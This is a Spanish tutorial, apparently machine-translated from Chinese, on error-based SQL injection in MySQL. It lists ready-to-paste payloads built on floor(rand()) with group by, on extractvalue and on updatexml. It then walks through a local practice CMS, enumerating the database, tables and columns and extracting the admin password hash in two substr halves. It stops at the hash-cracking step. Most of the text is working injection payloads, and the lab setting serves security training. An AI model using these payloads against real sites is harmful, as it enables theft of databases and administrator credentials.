Directorio de artículos
Inyección de errores
En el proceso de juzgar el punto de inyección, se descubre que el mensaje de error de la declaración SQL en la base de datos se mostrará en la página, por lo que el mensaje de error se puede utilizar para la inyección.
El principio de la inyección de errores es ejecutar declaraciones SQL en mensajes de error. Hay muchas formas de provocar un error y los detalles específicos son diferentes. Aquí se recomienda memorizar la fórmula directamente y reemplazar la parte 1 = 1 con la cinta de fórmulas.
Método común
agrupar por
?id=33 and (select 1 from (select count(*),concat(0x5e,(select database()),0x5e,floor(rand()*2))x from
information_schema.tables group by x)a)
?id=33 and (select 1 from (select count(*),concat(0x5e,(select password from cms_users limit
0,1),0x5e,floor(rand()*2))x from information_schema.tables group by x)a)
extraer valor
?id=33 and extractvalue(1,concat(0x5e,(select database()),0x5e))
?id=33 and extractvalue(1,concat(0x5e,substr((select password from cms_users),17,32),0x5e))
actualizarxml
?id=33 and updatexml(1,concat(0x5e,(select database()),0x5e),1)
?id=33 and updatexml(1,concat(0x5e,(select substr(password,1,16) from cms_users),0x5e),1)
?id=33 and updatexml(1,concat(0x5e,(select substr(password,17,32) from cms_users),0x5e),1)
entorno del caso
Entorno PHP: phpstudy20261103.exe
Rango: cm
Dirección de colección: Enlace: https://pan.baidu.com/s/1OeEMML4GRCsbC4LpQK9KoA?pwd=jap0
Código de extracción: jap0
Obtenga la contraseña de la cuenta del administrador en segundo plano del sitio web
La dirección con inyección SQL en el campo de tiro cms: http://localhost/cms/cms/show.php?id=33
Nota: la longitud de la cadena concatenada por la función concat() es de solo 31 dígitos, por lo que debe usar substr para interceptar el resultado y luego obtener toda la información reemplazando el subíndice interceptado.
Chaku
?id=33 and updatexml(1,concat(0x5e,(select database()),0x5e),1)
或者
?id=33 and extractvalue(1,concat(0x5e,(select database()),0x5e))
tabla de verificación
-- 查询从1到31的字符
?id=33 and extractvalue(1,concat(0x5e,(select substr(GROUP_CONCAT(table_name),1,31) from information_schema.tables where table_schema = database()),0x5e))
-- 查询从31到61的字符
?id=33 and extractvalue(1,concat(0x5e,(select substr(GROUP_CONCAT(table_name),31,61) from information_schema.tables where table_schema = database()),0x5e))
campo de verificación
?id=33 and extractvalue(1,concat(0x5e,(select substr(GROUP_CONCAT(column_name),1,31) from information_schema.COLUMNS where table_schema = database() and table_name = "cms_users"),0x5e))
Comprobar datos (contraseña)
?id=33 and updatexml(1,concat(0x5e,(select substr(password,1,16) from cms_users),0x5e),1)
?id=33 and updatexml(1,concat(0x5e,(select substr(password,17,32) from cms_users),0x5e),1)
Contraseña de 1 a 16 dígitos
e10adc3949ba59ab
Contraseña de 17 a 32 dígitos
be56e057f20f883e
Contraseña de empalme: e10adc3949ba59abbe56e057f20f883e
descifrado cmd5: